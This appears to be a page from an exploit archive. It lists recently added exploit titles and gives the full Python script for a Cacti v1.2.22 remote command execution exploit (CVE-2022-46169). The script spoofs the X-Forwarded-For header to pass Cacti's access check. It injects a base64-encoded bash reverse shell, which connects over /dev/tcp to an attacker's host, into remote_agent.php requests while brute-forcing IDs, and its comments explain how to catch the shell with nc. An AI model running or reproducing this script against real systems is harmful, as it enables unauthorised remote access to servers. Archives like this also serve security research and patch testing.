9b56e8731e
25 changes to exploits/shellcodes/ghdb EQ Enterprise management system v2.2.0 - SQL Injection qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) ASKEY RTF3505VW-N1 - Privilege Escalation Bangresto 1.0 - SQL Injection Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) Cacti v1.2.22 - Remote Command Execution (RCE) Judging Management System v1.0 - Authentication Bypass Judging Management System v1.0 - Remote Code Execution (RCE) rconfig 3.9.7 - Sql Injection (Authenticated) Senayan Library Management System v9.0.0 - SQL Injection Spitfire CMS 1.0.475 - PHP Object Injection Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated) WooCommerce v7.1.0 - Remote Code Execution(RCE) CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Denial Of Service (DoS) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authorization Bypass (IDOR) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset SOUND4 Server Service 4.1.102 - Local Privilege Escalation macOS/x64 - Execve Null-Free Shellcode
69 lines
No EOL
2.7 KiB
Python
Executable file
69 lines
No EOL
2.7 KiB
Python
Executable file
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
|
|
# Exploit Author: Riadh BOUCHAHOUA
|
|
# Discovery Date: 2022-12-08
|
|
# Vendor Homepage: https://www.cacti.net/
|
|
# Software Links : https://github.com/Cacti/cacti
|
|
# Tested Version: 1.2.2x <= 1.2.22
|
|
# CVE: CVE-2022-46169
|
|
# Tested on OS: Debian 10/11
|
|
|
|
#!/usr/bin/env python3
|
|
import random
|
|
import httpx, urllib
|
|
|
|
class Exploit:
|
|
def __init__(self, url, proxy=None, rs_host="",rs_port=""):
|
|
self.url = url
|
|
self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
|
|
self.rs_host = rs_host
|
|
self.rs_port = rs_port
|
|
|
|
def exploit(self):
|
|
# cacti local ip from the url for the X-Forwarded-For header
|
|
local_cacti_ip = self.url.split("//")[1].split("/")[0]
|
|
|
|
headers = {
|
|
'X-Forwarded-For': f'{local_cacti_ip}'
|
|
}
|
|
|
|
revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"
|
|
import base64
|
|
b64_revshell = base64.b64encode(revshell.encode()).decode()
|
|
payload = f";echo {b64_revshell} | base64 -d | bash -"
|
|
payload = urllib.parse.quote(payload)
|
|
urls = []
|
|
|
|
# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
|
|
for host_id in range(1,100):
|
|
for local_data_ids in range(1,100):
|
|
urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")
|
|
|
|
for url in urls:
|
|
r = self.session.get(url,headers=headers)
|
|
print(f"{r.status_code} - {r.text}" )
|
|
pass
|
|
|
|
def random_user_agent(self):
|
|
ua_list = [
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
|
]
|
|
return random.choice(ua_list)
|
|
|
|
def parse_args():
|
|
import argparse
|
|
|
|
argparser = argparse.ArgumentParser()
|
|
argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
|
|
argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
|
|
argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
|
|
return argparser.parse_args()
|
|
|
|
def main() -> None:
|
|
# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
|
|
args = parse_args()
|
|
e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
|
|
e.exploit()
|
|
|
|
if __name__ == "__main__":
|
|
main() |